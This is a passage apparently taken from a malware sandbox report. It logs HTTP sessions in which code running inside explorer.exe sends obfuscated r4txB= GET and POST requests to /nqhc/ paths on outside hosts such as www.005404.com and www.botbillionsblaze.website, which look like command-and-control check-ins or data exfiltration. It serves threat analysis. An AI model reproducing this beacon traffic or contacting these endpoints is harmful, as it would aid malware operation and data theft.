r4txB=EqVrxMRHLBCwiIrJajZR(SRPWWRi2pux5aVLG1qYHwS6dpJdqPl9zSS8ViE2jVZgRIk9~HFeTZxnlEUY0v(aUP0ti8GAdSQYCk2rCDaee9BhTO6NBUUQyxmu8jbn(DltaG1ke64LZyzgaHmKsFhSqSRXgVLa0Bleih(q78SIdFoK0LVJLZdEh7~fIvPSEYRk2MbUr-7Y2Zoeldh5VfcRWQyEBKeknoD7FhaGF45Md6o2wK838VOj~SF8yF7tUYzQtLBz5V9POFJsYoZsQUGxjAkKdtwBJhfov-Z8Kf9jmUkd1Rob0HftAUVVvZIHmWlS2TaR(y7emC1NVTsGfRGNieG-6FUJQVTRFRr9A3kRXREgAFAy~fN1Co0RW28R0c40Cq6BFpXlOtUERrt2RZVFsjTJNQOa55RHNylRemZw04(3pwmO0eMubeZQu_FiuVDpubnd53TvyZZGilDmFBvf79sN68Nb(UDJFgBcu_5-LY7lXSKvgufqM12ZjMUCRLZFarpsnZqzh3DBZt3UxYgU1binLDJAqTkVrkvU5_JUyMn8cvvNW1tMVHFAa7putUwOdSfEYZGg5Clih0Qz(V2u69gXB2~CJncK2ZapLv2G3yagaoiw3GnDb94u0iLSTcoVtAorbpDsFdojAsFfBum3AHqs~HWPwRDn(o5VIb50GzVpC_ZZuOnwBPC-(GzbT-H7Y5u2HOrnVbiwMCKK(zx0TvxuHx8B18I2GkL5pprOw8MX19lLvHhDykJjYRFqjCijFfyEWfs8UiYPC2XfhWP7l7P2DZ0iuFO96x5AH_iuvRwey6OVT2WxgpeXPyQFL16hzUJ1PwgqHAkSkDocqdzeUE6yBfwh3xypW9~uE9vI5CgMmlm3peAYFx3LEr9IsIx-OKQz8UxrV0KIZJU1~-Ez(jh_xpKKYzc9rncwFMlw97cb5NaflGCspdSs8ri9pbFCFKl6jWLyP5UK9ir1nmjL6AXELkKVb9umQ7~4gWjReiG9Y9Gn1-k66VBA4605w0Q_T_sjQ-J7Lg0IyvoWkWZE0SdQ8qiNUt0uSxhM5E3pa0(2Ej6eAXqWYLSHwC1M3FXzalkyIVwDyQd5VdbFehYZESw-kfRFub(UFzz6vT1b~wm15mM3zMhdercr1pnN~DxC9WYZIKC47jqVhf0QHMSQNsZcuIbngWT8UQm-2EolCXDYmHH5mmeLb21sJY9ep5XmT7FyNOz0td(fnVNaByjFupvLBnyMAgl0q-4tp0fnsejw4ml3DB~BQKrGbF7SOed4O0yMveHNEoTxO5SUlIoQHffWEGOqFPhgveNfwGKAfkBS9GzGlIOSdf1EPNjqi0CZd4DTwOYSRedzNyPYuX3yaUp47ZNEA6gr6N7siB5noOsCYuA89QGkKJMJ3cA3p4uPkEr0oxj3JzQxaRY3jR7QQa0sB988ShXtp1ESKZGNJQAJaqRgpZ4d~KyizngnQS6VBY38zzrj41dOcAm2b31w9eLqfTidFc0eCrDi(QRINHLPfYgI7V83jwv01JEFEz049oNl86vUIghru8Vd1_y5OidPLdb3Po(R6uUniDwZH1aHJrTT1r3y6pJjx5tUYyu-H8sM4l(hccCP~orQ(Dmpm_RG3uqwSA~aDIeNBtI-zfsSWNCjaY8nhe8TbWS1R1bMb7NKl4hZBfkBKmp8i1JPyiKNEoJNq-lzezgNsC8oIgY1psPJmZHgYXH7QA5FkYW5ymKvleLMFCvprsBgwldGEP60Se3F0rIjDBASQbQz5ya8jo9V4y15FQbBEgUyuAlWGV3LncPjlBOQtFbWFxtMpkaruvmwP220i0~ad3tOagMYnuQPWJX49DC12nlyosFM4lfVrrGIrjzqi-uGJ7yH350Q9OQP4EXLoIOaO9i6r9qweZqZUdqVzlPxZ_MkaPXFjDct39AuRfL2vcjONNQ_qxhmrGujAbJpSx~hBwKqz4sXXo3cEsZ0VBy9yX7t9QFRiL(oI_RzjNKClhzOhVS-oJ82LXu6kRzcdPGhY2jS1N~yV9MZNyfIfP9ji-l_JgjySu5v1ArUe-MHHur5CNdIXTmhWymRq7KS8x17fFh4OxbJS1D1ytJ-xpQJ4puP8o8bIk(YGblOrHd-bvyKhwEL2mGR4_Ejvvec~xflDQm_G2w2DRExWeyfTYydTqo9B026xnmbJCqVq-~IqrLpyC0y(OJbncZ7oIJ6E6rKACh1LoF_42SrAahv9YH6PUwhKMcmSHktV_oWto217JJV13oc21M7PTzFWbacrEafagypWfi84yl70oMm7sGpdDFV5lrMYhs4Sd3rg4o4arH_ry84dMIjr55zvw43ut4ZKmP_rIfkiK4QHfQCwTXLx9YI(ke_UMlghr(-qwowXaMUxXPN3jyqCcD4uUWO33nZ7fx9bhOCMZ30JbLERc7Rf3SdEN5JY89MxRChv3detFxbzb(VFVLr27RDLmou(a67TEoUs4K2ZVTxCr1PyeQzuGFuFaD1wP5ad6JOyHq4Tus6KhFyWlYQWIHyozssZsPnYPgk5WL9b18yV1skNqRcJxT5Ex3hHwXwbXZmXKgVMpJv0k(6PVs9uelbbpXg7DNXon0Z92Ea9ZDNdjU-ur4WHcbht8u6aQXNZosF1im782CPcYEDbe2zYUAmBc8qDkbP0q0v6VypcRDL~FGV76y4wXEckVYF6ArIhmVpCNDUNAdxfyruF5tFF1~8jfj67URcX0TweO7cyAyPIUPEZJGCLSpn(A1PzyMJ~WtPERwsVNVMX9vaS2RfQYOUgDf_Kkj1(WwGGBW0b3ftlLCV6T8BoFUUdDiyUdL0HJiAh9MhohG0du0uXYV4IkNF9GqPQmP02EzCIOd8RrVE(oWnKsYNv7ngXVLhugT-2Xd2yMRvUAaYtvtlBBTVpGlOYySzkTWGplgle4XEk3U11DzW(PiNHN7jCW5XZIYmx4x4sbMzGnW5tCzOJAiS~5nh(JnFrnx2Ox1mRw9Hwb0WSC2pWadHSe1Lv9OooDqgnPpNdKELq7W1q_cBF8beAf4v(37ZTAmalA09sAul1Mha6V0CjiNPjIa2HdAJMds9ipQ0uEPgnPz25eBZhNJCXGKZcUGcoDUYRSLOwt68tBkXmCQ9nczM2DhG0UfqRmvDU9lxk6JohKaIzhh4tQc1Jzt1Ul2_ZtMF7maFCI1-vYAy4r(JEGmfjIwkyWm5anCR5H10wpk-qAjcnheFCOnd0lNHBSzsnN5IM4zxawDeABt-Lqsh8dgJ2JRg9ur76n4jOAhWSvyfv5oaPU5qoE0LAvM575AFHgHOfISxpYhJGad5AM2mvXwUl0ozmhzhSQWblke9ParlsVDZxLXUlA6vOyFm4QaRgPt8sH1IJn1FXMhz8rX_8QpRTRbpFes2qMhkAQ3HINS-sWlh2qLIs2dmziX86eQE(uu-a-7XmeHSmEUn9sccvdCw4n1ccbiNfScVBxKxKE(HoqzNrWEQM347q_m6~Qg_pa05oQa5u0y2jLGXtb6fP6jQOUL9zxt2dzTeFFVCZw5TyX8fJ3pVtPBNsGQu8YZlUKmmjhbljMgJU5SEtwkSvunGl9b3uH1T6qnyWChbA9hx59NQcVIZ5SL5K-F-49xSetATqOK7RL9FkDyh8pOH4KlZjoz4M1DkbmFMieWy2s7erxNbShpBtEg_vMBWWUKWIPsCUd~m2Rmh2C6Z5Dpbllqyku5hKozw4W~7tao-DTOXayF2BmdDAcANH6VImalsTuzyZjRHjvR0wAoxKe7KKXh742ZorDfpXGl7oOMn7nHGWqyOVhAyvl8FTFmdyFXpwOxBVQaDklhw86jH(GPtb3DjBgZeA_puDdo9~R5XZFkXAJDRgkj2ZmkZX51TiP7RQG1mEhU6yBUfsX7LSDI8MVWMjst57SUnsUaAxDTgDLx8Bv~qw1V_~yFKCNAUgjSIHxx8os5ZqIZVUOZbpl(fc3fiNOXuF1gOMHevEYY-(C0aKeg5pcViZJ7q9ghGlXYDxWtYynNAgY7B8ahA9pGbs7p79K~Zbg5ykENQ5z4_VMCp4FrzmRb_wOIqUXgTX5Al4BGWayVHoYLt~WTT
Nov 21, 2022 19:21:32.237097979 CET	850	OUT	Data Raw: 30 44 65 51 50 59 62 4a 59 59 6d 66 44 6b 39 61 78 57 43 2d 71 65 67 41 35 4a 4b 58 35 4a 59 38 6c 53 70 32 6f 45 65 42 49 6b 6d 56 7e 4f 46 34 28 6c 6e 51 46 66 63 56 71 5a 6e 36 54 74 53 53 43 6f 75 75 42 74 59 37 44 35 47 61 41 6f 55 48 31 6d Data Ascii: 0DeQPYbJYYmfDk9axWC-qegA5JKX5JY8lSp2oEeBIkmV~OF4(lnQFfcVqZn6TtSSCouuBtY7D5GaAoUH1ms0C423D3P70IuMWadszTFHdBTx0K~fuD1Axb2L6mUaa1pLdEkGF01yWdxlilYIIQh2GmGvwXooxBcig_~9VWT25n~xwAKoCjZ4tWXVFcUquxt4F8rNcTLK~9lrWi(_YbBQITwaEz1BaB1p2wMZWRPFJP9FpvwfAu0
Nov 21, 2022 19:21:32.265876055 CET	850	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:21:32 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Nov 21, 2022 19:21:32.266040087 CET	856	OUT	Data Raw: 66 51 44 70 53 51 68 79 4e 51 5a 37 71 44 66 39 55 76 66 34 57 62 46 55 34 68 39 6c 52 38 54 55 73 41 34 39 7a 78 6e 4c 78 50 43 6a 37 69 47 54 59 70 77 43 4c 48 31 52 6b 39 72 4d 6e 41 37 61 34 36 79 4f 42 34 4c 46 51 4c 42 75 36 4f 70 66 48 72 Data Ascii: fQDpSQhyNQZ7qDf9Uvf4WbFU4h9lR8TUsA49zxnLxPCj7iGTYpwCLH1Rk9rMnA7a46yOB4LFQLBu6OpfHroWILrGldM3y2LxFOhYjNfczvxtm9(wh6X838KKkhFnUynxIIjWKyYr5w19W7CkxzHBHPq_WQh7OBzfGs3GZTGDOK2iUzHRylxAHifkLpr1Qk3TKu2SfhAJy8hU4Ul69yPe0p1Ex-3oUKtjUBUsZy4DDlJaSd2Pv9T
Nov 21, 2022 19:21:32.266269922 CET	858	OUT	Data Raw: 63 6c 30 5f 48 44 32 70 74 36 5a 31 75 62 39 54 74 63 7e 61 6f 51 38 69 68 76 46 37 31 68 64 70 64 77 57 38 49 33 34 67 51 45 7a 2d 37 4d 67 6b 48 5f 4b 66 44 42 7a 5a 34 5a 33 39 42 78 76 65 48 5a 51 71 66 51 6a 72 6c 75 78 4d 37 72 69 58 42 6a Data Ascii: cl0_HD2pt6Z1ub9Ttc~aoQ8ihvF71hdpdwW8I34gQEz-7MgkH_KfDBzZ4Z39BxveHZQqfQjrluxM7riXBjg4MtHtKwdCx-(Dw7lnnltbqaMlJ6oMuTbkLAh089m0nYrtRqRjsXSq9aQMW_h7TWSaBjUisECcC7vnhTtQs6yRjN12BPAq~YtO4w3T3QKzqI3FzYZBxpqUxsRxpt5SZIxnGjpE5IrIOLH7(js7tMpTHCb6nFcqEL8
Nov 21, 2022 19:21:32.266432047 CET	861	OUT	Data Raw: 33 75 68 45 71 47 5a 39 61 55 5a 4b 6e 67 52 4e 6a 6d 7e 69 54 30 75 6b 42 6f 33 46 50 41 52 6f 68 41 6e 6b 7a 68 41 38 55 6e 38 30 34 64 57 4c 55 50 62 54 39 70 47 6f 79 5f 38 37 52 56 7e 50 79 69 44 53 37 49 74 75 43 6e 38 38 71 6e 47 59 6d 32 Data Ascii: 3uhEqGZ9aUZKngRNjm~iT0ukBo3FPARohAnkzhA8Un804dWLUPbT9pGoy_87RV~PyiDS7ItuCn88qnGYm2lRXR9nfrqVHEqNl6sOCnlSSNN8x_mnbEyHP0Ow2Hw84-yXnAEZQIkCd7DPP1ZaeZSg7tTz8DIRMG6b2pg4XmlUARS-Ynr37RvnElAXczCTASL3RL6kkjni5xNkNYeT~_1_18v2I203ltAvNa3ewnu6yG5UyyoIcR1
Nov 21, 2022 19:21:32.266587973 CET	867	OUT	Data Raw: 68 66 38 68 43 70 51 72 7a 32 56 71 37 6d 28 58 58 65 63 4b 28 61 6c 31 64 58 72 7a 33 42 71 6d 31 41 6a 6d 69 47 42 4b 34 69 41 32 74 78 5a 42 4a 68 42 4b 4b 41 6a 53 63 78 73 39 59 34 50 67 41 6b 4b 32 55 50 72 53 68 46 59 56 50 74 52 6c 56 61 Data Ascii: hf8hCpQrz2Vq7m(XXecK(al1dXrz3Bqm1AjmiGBK4iA2txZBJhBKKAjScxs9Y4PgAkK2UPrShFYVPtRlVatiLCsCDbbCdPa63Fy4lWtB(751KjBpzTKLNkuhMwAbWrCky9ctIFzeAznB(HJdpQYS2aS4nOGkRYTIXWi8kW1Ky80n1hhiFVbrcVw76td2asQjBZ6najNk7wFTWoGCy34CH6FTIdHpBLHfPE6wwlnW0GdyHpCdct4
Nov 21, 2022 19:21:32.266762972 CET	868	OUT	Data Raw: 69 49 28 44 76 66 36 73 51 66 37 75 46 44 7e 4f 6d 2d 44 70 51 62 32 62 43 6a 6c 36 42 47 71 38 75 61 61 34 4f 55 7e 61 67 44 28 4a 6d 6d 6f 59 43 30 6c 50 38 31 49 35 71 70 68 77 6f 72 4c 31 41 59 34 62 39 62 7e 4d 54 53 6e 54 46 31 62 53 57 7a Data Ascii: iI(Dvf6sQf7uFD~Om-DpQb2bCjl6BGq8uaa4OU~agD(JmmoYC0lP81I5qphworL1AY4b9b~MTSnTF1bSWzFx7_tBdpkArNxUtVbidL67AgnJ8rvcWf6k9k3srJYXNBWHf59Etc5GTgH8oIXOvpNf2_jjRzYd~G~ZO0ExoDsaJVckGHcqMnJjTp4OZJJjxQn63JMUnBzq6xpSod51Wft-FFJp0is05UgQDuEMjxYFT4RM3bfIsdE
Nov 21, 2022 19:21:32.266840935 CET	871	OUT	Data Raw: 7a 74 6e 46 48 41 36 42 74 52 76 48 74 65 30 5a 6d 65 4f 79 64 52 62 4e 39 41 51 78 42 59 4c 43 49 78 73 74 67 7a 46 39 5a 74 39 59 76 64 53 78 59 2d 37 33 4d 77 57 67 28 46 61 55 36 4a 42 38 70 67 6d 53 56 34 6c 64 32 30 71 71 61 39 6f 61 64 59 Data Ascii: ztnFHA6BtRvHte0ZmeOydRbN9AQxBYLCIxstgzF9Zt9YvdSxY-73MwWg(FaU6JB8pgmSV4ld20qqa9oadY(2Ohzq(c4LxtTIOeBQSqEE9Za2u5P3aQJLsU5GS2h4ZKp_Bg18pNGvd6Q9d6pk7N0G77sw46CUFNgcvyfTyW(3gXcUg8GsYm91YNRhE2bMsbVveCd6xgNVgMXrd-5yrOZCFztKNtcJkd1miUg09UTB6sDj(LfswNu
Nov 21, 2022 19:21:32.267007113 CET	876	OUT	Data Raw: 7a 63 75 51 53 70 7e 4a 30 6f 50 36 49 4a 43 37 6c 36 6c 62 4d 43 5a 48 42 31 77 34 63 51 42 66 65 50 34 5f 74 5f 56 50 75 6f 4b 48 28 31 39 70 68 54 6d 51 43 50 31 68 64 49 63 66 58 6e 65 4b 5a 44 37 30 28 5f 62 30 6a 54 34 57 4d 6e 4d 74 66 4b Data Ascii: zcuQSp~J0oP6IJC7l6lbMCZHB1w4cQBfeP4_t_VPuoKH(19phTmQCP1hdIcfXneKZD70(_b0jT4WMnMtfKV0GiGQZ4P3rbHLdTA15CCWebKGkaVQKge26hg0lrNvppkk5YlnCw5lWxDfJ_sff6VhYKr7(kdzNo3RkLC-0e(J5zRfBJew0cqB8h5vepgYtXl2hRClmss-PhCTO4DazRrWQq03k_oL8WDHgKPIA41Wxw30Q8h5ZSZ
Nov 21, 2022 19:21:32.295433044 CET	879	OUT	Data Raw: 6e 32 46 75 51 4b 34 49 5a 2d 71 69 57 59 69 42 7e 35 4e 37 75 54 39 74 48 69 73 31 33 75 4f 5f 41 41 36 52 39 4e 28 67 67 76 74 5a 73 69 66 41 63 70 4e 45 51 59 4e 4c 4e 71 41 75 6d 4e 58 57 4c 37 54 57 6c 56 54 53 32 69 74 5f 4f 76 75 4a 7e 58 Data Ascii: n2FuQK4IZ-qiWYiB~5N7uT9tHis13uO_AA6R9N(ggvtZsifAcpNEQYNLNqAumNXWL7TWlVTS2it_OvuJ~XlXrzhz2i6x14x35ov_F2ucqmDOAjzpZlFrA31FHTIzp2DLVrrj1kAsvUkXpmD52MNUUJTDbNysOUqlMGlpnxUq~WcPrfT1oLq3uSopQ4t0SLU5K8rZROOVM4v3BDPL~buka060Jq~sl4ndEiJPtOWygqaht6GsNnR
Nov 21, 2022 19:21:32.295545101 CET	888	OUT	Data Raw: 4f 54 39 48 6d 61 7a 59 43 59 64 69 4d 59 6a 58 38 47 34 49 55 2d 57 64 51 31 73 41 56 59 68 51 5a 67 62 53 45 75 53 54 5a 38 7a 57 74 78 49 4a 6d 36 57 52 59 52 6c 67 45 36 4d 56 59 44 47 63 47 4b 71 4f 67 4d 4c 6e 78 31 47 6f 4a 63 28 64 51 61 Data Ascii: OT9HmazYCYdiMYjX8G4IU-WdQ1sAVYhQZgbSEuSTZ8zWtxIJm6WRYRlgE6MVYDGcGKqOgMLnx1GoJc(dQa1zovVDCjVsoT(zaNagOlmGKhTzmAPpai9038x3ChKqxb~K3VxQokQdEhprF_hHvMJHd74XnaYoPfFKBYiNkkfGAGg1bpVUQaGBX0Gr8aOo5c~0ph7L83nB1okE1AXsrwWFR_MxTMpHms4KQ6yfnSqGrLbsgUVw5Uz

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.11.20	49851	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:34.282839060 CET	891	OUT	GET /nqhc/?r4txB=Jo9Ly5swECirkrz+Q2kB1mJjI2FdxMCd6ppqF2nJOFmXYuV8xeQe4DXLVR0s/AtaPMk93SVGZaQ/v2g/wIz4PNYN1ua2MlcQRg==&1b=S8jD HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:21:34.312156916 CET	891	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:21:34 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.11.20	49852	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:39.841573954 CET	892	OUT	POST /nqhc/ HTTP/1.1 Host: www.005404.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.005404.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.005404.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 44 77 6a 55 50 33 65 31 78 6c 31 59 58 46 49 31 6d 47 77 6a 77 76 57 45 28 71 69 64 73 79 31 47 77 59 61 71 57 4a 6b 78 73 5a 77 6e 55 58 79 4b 71 4f 43 6e 46 72 4d 51 70 52 4d 57 57 7a 7a 6a 73 71 49 4b 55 5a 49 71 4d 6d 47 44 51 4e 78 79 6e 67 4b 50 28 51 57 6b 4a 62 63 4f 6e 7a 54 63 36 79 70 38 69 4e 46 35 36 59 35 4f 7e 78 7e 4d 45 54 6b 5a 4a 77 46 66 4e 2d 6b 48 4a 33 37 63 41 49 50 71 51 54 66 4a 70 39 53 71 7a 51 4f 4b 7a 34 30 5f 53 65 6c 32 41 42 6f 70 61 46 77 72 4b 42 50 33 4f 57 61 49 67 39 66 74 78 50 42 53 79 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=DwjUP3e1xl1YXFI1mGwjwvWE(qidsy1GwYaqWJkxsZwnUXyKqOCnFrMQpRMWWzzjsqIKUZIqMmGDQNxyngKP(QWkJbcOnzTc6yp8iNF56Y5O~x~METkZJwFfN-kHJ37cAIPqQTfJp9SqzQOKz40_Sel2ABopaFwrKBP3OWaIg9ftxPBSyQ).
Nov 21, 2022 19:21:40.016932964 CET	894	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:21:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"634bbb43-6cd" Content-Encoding: gzip Data Raw: 33 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 15 cb 6e dc 36 f0 9e af 60 59 d4 92 60 9b 92 d6 bb 89 bb 92 16 88 d3 06 08 10 b8 3d a4 a7 20 07 4a e2 4a 74 b8 a4 40 72 1f f2 62 bf a2 87 fe 42 cf 0d d0 63 3f 27 40 fe a2 43 49 eb 95 0d e7 a0 11 e7 3d c3 79 30 ad ed 4a 2c 5e a4 35 a3 e5 22 5d 31 4b 51 51 53 6d 98 cd f0 1f 1f de 5e 5e e3 70 91 5a 6e 05 5b 4c a3 29 ba 55 16 bd 55 6b 59 a6 61 4f 4c 4d a1 79 63 17 7c e9 4b ba e1 15 b5 4a 93 b5 61 fa 75 c5 a4 25 56 bd 57 05 15 ec bd da 32 fd 86 1a e6 07 84 cb 92 ed 7e 5b fa 38 a7 bc 5c e3 00 65 19 ba 8c 83 7d a9 8a f5 aa 53 72 ee 50 86 bf fe f7 e5 db 5f 7f 7f fb f3 df af ff 7c c1 87 34 1c 5c a5 82 cb cf 48 33 91 61 5e 28 89 91 6d 1b 06 e7 15 ad 58 b8 bb ec 69 b5 66 cb 0c d7 d6 36 f3 30 9c ce 48 3c 99 90 f8 ea 9a 4c 67 e1 12 e2 04 3d 02 00 2f 8e f1 3f 38 df 6a 6e 99 90 be e7 05 c9 86 6a 64 4c e6 a5 25 df 20 5e 66 d8 d4 6a 5b 08 25 99 a9 99 ac 76 9c 3a f7 c6 b6 02 fc d7 8c 57 b5 9d a3 38 8a 7e 4a d0 96 97 b6 3e 22 39 2d 3e 57 da 5d db 65 a1 84 d2 73 a4 ab dc 9f cc 66 17 e8 08 82 04 8d a4 1a 65 b8 e5 4a ce 11 97 70 a0 e2 f8 7f 24 a5 59 c3 28 78 7c 2a 03 59 f1 a5 a6 2b 86 e0 c6 94 80 eb aa 32 dc 32 83 d1 8a ea 8a cb 3e d2 2c 1a d0 2e 54 c0 50 a7 93 2b 5d 32 9d e1 08 f7 39 64 d8 25 74 42 a6 11 70 06 0b 03 cb e8 22 c3 67 3f c6 d1 34 01 18 bf 1c c1 09 9c 67 d7 00 a6 af 8e 60 d6 d1 ae 1c ea 24 a7 3f 3b 34 3a 82 11 2d 76 b4 4e c4 81 91 da ab 04 32 0c fb 14 e1 00 c5 81 32 ba 22 0c 9d 60 d9 ce 86 85 31 78 e1 9a 7b df 97 a2 2b cb 50 23 77 3e e4 aa 6c d1 77 98 89 da 30 bd 14 6a 3b af 79 59 32 e9 9a cf 39 58 78 09 db 50 e1 e3 c7 ed e2 7b f8 dc 98 73 0c 2d 83 83 c4 ea 76 0f f3 f3 4e 5a a6 9d f0 72 2d 0b 57 4c 3f d8 3b d6 83 6a c5 ec af 82 b9 8e bf 69 df 95 60 93 6f 5e 0b 81 03 d2 b9 22 25 37 8d a0 6d 86 25 f4 1b 3e 14 d4 16 b5 cf 82 fd 61 a9 b4 ef 3a 93 67 51 c2 d3 07 73 2e 1f 52 d4 5c 94 9a 49 22 a0 3f 6d 9d f0 f3 f3 de ab 53 b0 b4 92 50 e1 ec 79 95 8f fc 13 01 89 5b 90 e8 1a 7f d5 42 c7 7f 5f 94 97 09 cc bc 13 fa a1 9f c3 5f f8 26 c6 67 67 03 e5 b9 49 19 8d f8 a3 60 9d e7 67 73 1e 25 7d 38 5c 40 d5 82 11 e5 b4 0f 86 bd 30 be 68 97 40 de 9c c2 2f 34 4c 0a 1b ae db f7 7a 8d 61 c2 8b b5 fe 5d 2b ab 60 34 b3 2d 2c 27 b5 25 02 96 96 2b 19 69 06 06 81 5a 70 eb 7b 73 2f f8 18 7d 72 99 8f b5 b2 cc 73 9b c6 78 c1 3e 6f 88 1b 87 1e 87 d5 73 7f 4f f2 d2 58 b0 56 90 42 ad 42 b7 bb cc 3a 5f 71 1b 36 6b 53 93 3b e3 25 07 26 0c 7b a4 09 8a 1d f7 be a6 d2 7d 15 e9 76 65 67 e1 a4 d6 ad a7 53 8e a7 7e 32 37 ed 87 be 92 3e ee 53 c5 5d d8 86 34 14 9a c3 de aa 92 c1 1a 86 2d 6d 6f 18 b4 13 f3 f3 e6 c2 04 c9 21 f0 83 e4 e9 bd 8e 87 ea 8e 6e e8 60 10 75 53 df a5 0d d1 de 99 6e e9 1b 32 8b 89 a0 e1 24 9e be 8c 67 57 31 a4 e7 46 f5 b8 b8 c3 ee 95 79 91 ba ea c3 af 80 50 98 5e a4 75 fc f4 6d 01 4a 1a 0e 6c 78 9b 40 66 40 24 ac af dd 88 15 0e a6 c2 ee 19 fb 1f 05 e9 27 15 cd 06 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 3adun6`Y`= JJt@rbBc?'@CI=y0J,^5"]1KQQSm^^pZn[L)UUkYaOLMyc\|KJau%VW2~[8\e}SrP_\|4\H3a^(mXif60H<Lg=/?8jnjdL% ^fj[%v:W8~J>"9->W]esfeJp$Y(x\|*Y+22>,.TP+]29d%tBp"g?4g`$?;4:-vN22"`1x{+P#w>lw0j;yY29XxP{s-vNZr-WL?;ji`o^"%7m%>a:gQs.R\I"?mSPy[B__&ggI`gs%}8\@0h@/4Lza]+`4-,'%+iZp{s/}rsx>osOXVBB:_q6kS;%&{}vegS~27>S]4-mo!n`uSn2$gW1FyP^umJlx@f@$'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.11.20	49853	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:42.050671101 CET	895	OUT	POST /nqhc/ HTTP/1.1 Host: www.005404.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.005404.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.005404.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 44 77 6a 55 50 33 65 31 78 6c 31 59 56 6c 59 31 32 56 59 6a 79 50 57 48 36 71 69 64 6d 53 30 4e 77 59 57 71 57 4e 39 38 73 73 6f 6e 58 79 4f 4b 34 61 75 6e 45 72 4d 51 6e 78 4d 58 53 7a 79 68 73 71 31 71 55 63 6f 71 4d 6d 43 44 57 34 6c 79 77 67 4b 51 78 77 57 6e 66 72 63 4c 74 54 53 64 36 79 74 61 69 50 35 35 37 70 56 4f 28 7a 6d 4d 41 47 51 65 44 77 45 61 47 65 6b 41 48 58 37 53 41 49 79 66 51 58 54 7a 70 49 53 71 32 41 75 4b 68 49 30 38 59 75 6c 39 4e 68 70 4c 58 46 55 6e 4b 42 6e 4b 5a 6c 37 31 6b 2d 71 65 77 66 4d 4e 71 41 37 71 49 66 37 6c 39 39 4c 5f 68 50 68 30 4b 51 28 55 62 42 4f 6a 50 74 7a 76 5a 34 6d 42 55 48 49 54 68 36 38 72 50 68 59 4e 33 52 5a 78 54 6d 28 56 30 78 78 43 4f 35 41 56 4c 63 4b 79 70 33 4a 71 39 79 45 30 53 48 35 4e 43 4f 51 5f 61 69 34 38 56 4b 6d 4b 32 34 7e 6e 61 43 50 35 4b 57 55 52 74 35 66 43 4b 51 4d 2d 53 45 58 6a 35 72 33 4b 67 70 72 6c 55 66 28 45 66 36 45 5a 6e 70 6d 66 58 37 73 79 48 78 59 53 50 43 57 2d 51 58 46 73 36 38 72 47 79 62 68 43 72 6a 72 56 6a 4f 4b 63 49 4c 33 33 56 35 52 5a 74 50 39 72 4b 31 6e 50 50 32 69 49 79 61 72 6f 42 53 58 72 75 4d 4f 6a 66 42 73 56 4e 47 6a 43 6e 63 6e 61 31 72 45 6a 79 45 58 43 73 47 57 47 73 6d 74 36 38 58 63 56 30 63 4e 37 66 30 4c 75 50 52 62 66 38 58 35 65 51 45 69 6b 56 48 58 55 34 36 44 39 6d 4c 4a 4b 48 39 74 32 51 4e 6f 75 4c 46 41 6f 32 57 78 6f 66 46 47 6f 4f 5f 37 4b 45 32 41 73 30 66 67 58 34 33 6f 6f 4a 58 49 77 74 48 70 56 50 5f 59 32 46 6c 7a 71 59 49 45 